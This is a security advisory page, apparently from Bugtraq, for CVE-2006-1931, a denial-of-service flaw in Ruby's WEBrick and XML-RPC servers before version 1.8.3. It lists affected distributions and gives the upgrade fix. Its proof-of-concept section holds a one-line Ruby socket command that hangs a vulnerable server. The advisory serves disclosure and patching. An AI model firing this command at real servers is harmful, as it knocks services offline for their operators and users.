Yukihiro Matsumoto Ruby XMLRPC Server Denial of Service Vulnerability

BID:17645

Info

Yukihiro Matsumoto Ruby XMLRPC Server Denial of Service Vulnerability

Bugtraq ID: 17645
Class: Design Error
CVE: CVE-2006-1931
Remote: Yes
Local: No
Published: Apr 21 2006 12:00AM
Updated: Dec 14 2006 06:18PM
Credit: This issue was reported to the vendor by Tanaka Akira <akr m17n.org>.
Vulnerable: Yukihiro Matsumoto Ruby 1.8.2
+ Redhat Fedora Core4
 + Redhat Fedora Core3
 Yukihiro Matsumoto Ruby 1.8.1
+ Redhat Fedora Core3
 + Redhat Fedora Core2
 Yukihiro Matsumoto Ruby 1.8
+ Redhat Fedora Core3
 + Ubuntu Ubuntu Linux 5.0 4 powerpc
 + Ubuntu Ubuntu Linux 5.0 4 i386
 + Ubuntu Ubuntu Linux 5.0 4 amd64
 + Ubuntu Ubuntu Linux 4.1 ppc
 + Ubuntu Ubuntu Linux 4.1 ia64
 + Ubuntu Ubuntu Linux 4.1 ia32
 Yukihiro Matsumoto Ruby 1.6.8
Yukihiro Matsumoto Ruby 1.6.7
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
Yukihiro Matsumoto Ruby 1.6
Ubuntu Ubuntu Linux 5.10 powerpc
Ubuntu Ubuntu Linux 5.10 i386
Ubuntu Ubuntu Linux 5.10 amd64
Ubuntu Ubuntu Linux 5.0 4 powerpc
Ubuntu Ubuntu Linux 5.0 4 i386
Ubuntu Ubuntu Linux 5.0 4 amd64
Ubuntu Ubuntu Linux 4.1 ppc
Ubuntu Ubuntu Linux 4.1 ia64
Ubuntu Ubuntu Linux 4.1 ia32
SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
SuSE Linux Enterprise Server 9
S.u.S.E. UnitedLinux 1.0
S.u.S.E. SuSE Linux School Server for i386
S.u.S.E. SUSE LINUX Retail Solution 8.0
S.u.S.E. SuSE Linux Openexchange Server 4.0
S.u.S.E. Open-Enterprise-Server 9.0
S.u.S.E. Novell Linux Desktop 9.0
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 9.3 x86_64
S.u.S.E. Linux Professional 9.3
S.u.S.E. Linux Professional 9.2 x86_64
S.u.S.E. Linux Professional 9.2
S.u.S.E. Linux Professional 9.1 x86_64
S.u.S.E. Linux Professional 9.1
S.u.S.E. Linux Professional 9.0 x86_64
S.u.S.E. Linux Professional 9.0
S.u.S.E. Linux Professional 10.1
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 9.3 x86_64
S.u.S.E. Linux Personal 9.3
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Personal 9.0 x86_64
S.u.S.E. Linux Personal 9.0
S.u.S.E. Linux Personal 10.1
Redhat Fedora Core4
Redhat Fedora Core3
Redhat Fedora Core2
Redhat Fedora Core1
Redhat Enterprise Linux WS 4
Redhat Enterprise Linux ES 4
Redhat Enterprise Linux AS 4
Redhat Enterprise Linux Desktop version 4
Redhat Desktop 4.0
Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
Mandriva Linux Mandrake 10.2 x86_64
Mandriva Linux Mandrake 10.2
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
Gentoo Linux
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Not Vulnerable: Yukihiro Matsumoto Ruby 1.8.3

Discussion

Yukihiro Matsumoto Ruby XMLRPC Server Denial of Service Vulnerability

Ruby is affected by a denial-of-service vulnerability in the WEBrick HTTP server. This issue is due to the use of blocking network operations. Ruby's implementation of XML/RPC is also affected, since it uses the vulnerable WEBrick server.

This issue allows remote attackers to cause affected webservers to fail to respond to further legitimate requests.

Ruby versions prior to 1.8.3 are affected by this issue.

Exploit / POC

Yukihiro Matsumoto Ruby XMLRPC Server Denial of Service Vulnerability

Attackers exploit this issue with standard network utilities.

The following Ruby command will issue a request sufficient to trigger this issue:

ruby -rsocket -e 'TCPSocket.open("www.example.com", 10080) {|s|
s.print "GET /z HTTP/1.0\r\n\r\n"
sleep
}'

This is demonstrated to work with the Ruby demonstration 'httpd.rb' file. By placing a 100k file in the document root of the demonstration server called 'z', and then executing this Ruby command, further requests will be denied.

Solution / Fix

Yukihiro Matsumoto Ruby XMLRPC Server Denial of Service Vulnerability

Solution:
Ruby version 1.8.3 is available to address this issue. Patches for version 1.8.2 are also available.

Please see the references for more information and vendor advisories.


Yukihiro Matsumoto Ruby 1.6

Yukihiro Matsumoto Ruby 1.6.7

Yukihiro Matsumoto Ruby 1.6.8

Yukihiro Matsumoto Ruby 1.8

Yukihiro Matsumoto Ruby 1.8.1

Yukihiro Matsumoto Ruby 1.8.2

References

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